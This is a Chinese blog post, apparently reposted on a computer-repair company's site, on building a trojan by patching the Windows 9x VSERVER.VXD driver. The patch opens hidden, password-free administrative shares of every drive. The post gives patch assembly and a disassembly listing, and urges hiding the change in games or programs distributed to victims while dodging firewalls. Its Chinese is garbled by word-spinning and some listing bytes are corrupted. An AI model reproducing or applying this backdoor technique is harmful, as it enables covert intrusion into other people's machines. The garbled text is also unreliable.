自己做木马的一点心得
实在我本身也说不来的,我玄色杀手的技术也不是很好。朋友们我现在也要谢谢你门给我点意见~~!!!
网上木马步伐很流行,实在说来也很简略,大抵都是修正注册表大概INI文件加载一个文件提供办事,这利市工都很容易检测出木马来。一,看增加的不明办事。二,因为木马是作为办事一样平常要打开一个网络通信端口,所以查抄增加的办事端口也很容易查抄出木马步伐来。实在完全可以轻微改动操作体系内核而作出一个很好的木马来,如许不消改动注册表也可以让用户很不容易发觉。
上面就是简略改动一个驱动步伐做一个木马的要领。各人可以分析另外驱动步伐相应的作出本身的木马来。这儿是使用WINDOWS的共享和远程办理。 WINDOWS的共享如果共享名是ADMIN$就可以远程办理,就是登陆ADMIN$进去了后全部的盘都完全共享为盘符加$.上面一段就是VSERVER。VXD处理共享的一段步伐,SUB_0027校验暗码,暗码对了后背面检测共享名是ADMIN $否,是就看C$,D$...共享没有(DATA_0431==0?),没共享就调用SUB_0230共享,SUB_0230 一个参数就是暗码指针,如果暗码指针为0就没暗码。这儿为了好改动就用的这个参数。显然我们就可以须要的时候调用SUB_0230就开了个后门。LOC_0415是检测网络通信的共享名串大于0DH否(包括串后的0),是就转LOC_0419堕落返回,显然我们可以使用这儿去调用SUB_0230. 看LOC_0419 有7个字节可以使用,可以摆设 CALL SUB_0230 NEW_LOC_0418 POP eax jmp 03469
刚好7个字节。3436: JE LOC_0418 是没找到要共享的目次跳转到LOC_0418 显然要改动,改动成JE NEW_LOC_0418 就可以。现在是LOC_0415一段要跳转到LOC_0419前要PUSH 0以调用SUB_0230。
上面是LOC_0415的改法:
LOC_0415:
03415 XOR EAX,EAX ;2 字节,同样SUB AL,AL 失掉AL=0;还失掉EAX=0。
03417 PUSH EAX ;1 字节 调用SUB_0230 用的DWORD参数 0;
03418 XOR ECX,ECX ;2 字节 ECX=0;
0341A DEC ECX ;1 字节 失掉ECX=0FFFFFFFFH这儿与MOV ECX,0FFFFH一样但字节数少
0341B mov edi,ebx ;2 bytes
0341D repne scasb ;2 bytes
0341F SUB EDI,EBX ;2 bytes get the share name long
03421 CMP EDI, 0Dh ;3 bytes大于即是0DH跳转。这儿条件可以改动为即是几多跳转等。
03424 ja short loc_0419 ; 2 byte
03426 POP EAX ;1 byte 堆栈平衡
03427 PUSH EDI ;1 byte
03428 POP EAX ;1 byte EAX=EDI SHARE NAME LONG , 背面要用
刚好字节够用,细致DATA_0182 那儿有重定位那种字节不能简略改动。你可以把你的好的步伐好的游戏加上一小段代码这么改动他的VSERVER。VXD文件,最好是硬盘的WINDOWS安置目次打包文件内里的VSERVER。VXD也改动,另有访问共享目次\\IP的139端口也最好加一个另外端口以逃避有些路由器防火墙的设置,再把你的步伐分发。。。。。
中了你的木马的你访问他的共享目次背面加一大串字母(共享名串长大于即是0DH)会提示堕落,但你就可以再访问\\IP\C$, \\IP\D$....了,这可是完全共享的了.如果你先没有谁人一大串字母的访问他也没有设置远程办理的话 \\IP\C$,\\IP\D$... 都不能访问的,他本身用网络监视器也看不到这种共享的,所以很不容易发觉的。细致你进入共享目次了网络监视器还是能看到。
;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
; SUBROUTINE
;
; Called from: 031FD, 32CC
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘
033F4 sub_0026 proc near
033F4 56 push esi
033F5 66| 81 3B 5C5C cmp word ptr [ebx],5C5Ch
033FA 74 07 je short loc_0412 ; Jump if equal
033FC 66| 81 3B 2F2F cmp word ptr [ebx],2F2Fh
03401 75 12 jne short loc_0415 ; Jump if not equal
03403 loc_0412: ; xref 033FA
03403 8D 73 02 lea esi,dword ptr [ebx+2] ; Load effective addr
03406 loc_0413: ; xref 0340F
03406 E8 00006961 call sub_0207 ; (09D6C)
0340B 74 05 jz short loc_0414 ; Jump if zero
0340D 3C 5C cmp al,5Ch ; ‘\‘
0340F 75 F5 jne loc_0413 ; Jump if not equal
03411 46 inc esi
03412 loc_0414: ; xref 0340B
03412 8D 5E FF lea ebx,dword ptr [esi-1] ; Load effective addr
03415 loc_0415: ; xref 03401
03415 2A C0 sub al,al
03417 B9 0000FFFF mov ecx,0FFFFh
0341C 8B FB mov edi,ebx
0341E F2/ AE repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
03420 8B C7 mov eax,edi
03422 2B C3 sub eax,ebx
03424 83 F8 0D cmp eax,0Dh
03427 77 26 ja short loc_0419 ; Jump if above
03429 55 push ebp
0342A 8B 2D 00011CA4 mov ebp,dword ptr data_0182 ;THE SHARE POINTER ; (11CA4=0)
03430 loc_0416: ; xref 0344C
03430 ?1 FD 00011CA4 cmp ebp,11CA4h
03436 74 16 je short loc_0418 ; Jump if equal
03438 80 7D 08 02 cmp byte ptr [ebp+ClientEBP],2
0343C 75 0B jne short loc_0417 ; Jump if not equal
0343E 8D 75 11 lea esi,dword ptr [ebp+11h] ; Load effective addr
03441 8B FB mov edi,ebx
03443 8B C8 mov ecx,eax
03445 F3/ A6 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
03447 74 3A jz short loc_0424 ; Jump if zero
03449 loc_0417: ; xref 0343C
03449 8B 6D 00 mov ebp,dword ptr [ebp+ClientEDI]
0344C EB E2 jmp short loc_0416 ; (03430)
0344E loc_0418: ; xref 03436
0344E 5D pop ebp
0344F loc_0419: ; xref 03427
0344F B8 00060002 mov eax,60002h
03454 5E pop esi
03455 F9 stc ; Set carry flag
03456 C3 retn
03457 loc_0420: ; xref 0349F
03457 8B 43 34 mov eax,dword ptr [ebx+34h]
0345A 8B 1B mov ebx,[ebx]
0345C 81 FB 00011CA4 cmp ebx,11CA4h
03462 74 0A je short loc_0421 ; Jump if equal
03464 3B 43 34 cmp eax,dword ptr [ebx+34h]
03467 74 2F je short loc_0425 ; Jump if equal
03469 B8 00020002 mov eax,20002h
0346E loc_0421: ; xref 03462, 3481, 354D, 35E8
0346E ?E pop esi
0346F F9 stc ; Set carry flag
03470 C3 retn
03471 33 DB db 33h,0DBh
03473 loc_0422: ; xref 0349D
03473 5E pop esi
03474 C3 retn
03475 loc_0423: ; xref 034C1
03475 8B D3 mov edx,ebx
03477 鶥B 0000000A mov ebx,0Ah ; (0000A=0B8h)
0347C B8 00590002 mov eax,590002h
03481 EB EB jmp short loc_0421 ; (0346E)
03483 loc_0424: ; xref 03447
03483 8B DD mov ebx,ebp
03485 59 pop ecx ;ebp ,the password long
03486 F6 05 00012446 01 test byte ptr data_0317,1 ; (12446=0)
0348D 75 12 jnz short loc_0426 ; Jump if not zero
0348F 8B 34 24 mov esi,[esp]
03492 F6 46 1F 01 test byte ptr [esi+1Fh],1
03496 75 09 jnz short loc_0426 ; Jump if not zero
03498 loc_0425: ; xref 03467
03498 E8 00000182 call sub_0027 ; (0361F) check the password
0349D 72 D4 jc loc_0422 ; Jump if carry Set
0349F 75 B6 jnz loc_0420 ; Jump if not zero
034A1 loc_0426: ; xref 0348D, 3496
034A1 F6 43 10 40 test byte ptr [ebx+10h],40h ; ‘@‘
034A5 0F 85 00000089 jnz loc_0433 ; Jump if not zero
034AB A1 00011CC4 mov eax,data_0190 ; (11CC4=0FFFFF000h)
034B0 80 38 01 cmp byte ptr [eax],1
034B3 0F 83 00000134 jae loc_0439 ; Jump if above or =
- 文章作者: 福州军威计算机技术有限公司
军威网络是福州最专业的电脑维修公司,专业承接福州电脑维修、上门维修、IT外包、企业电脑包年维护、局域网网络布线、网吧承包等相关维修服务。
版权声明:原创作品,允许转载,转载时请务必以超链接形式标明文章原始出处 、作者信息和声明。否则将追究法律责任。
TAG:
评论加载中...
|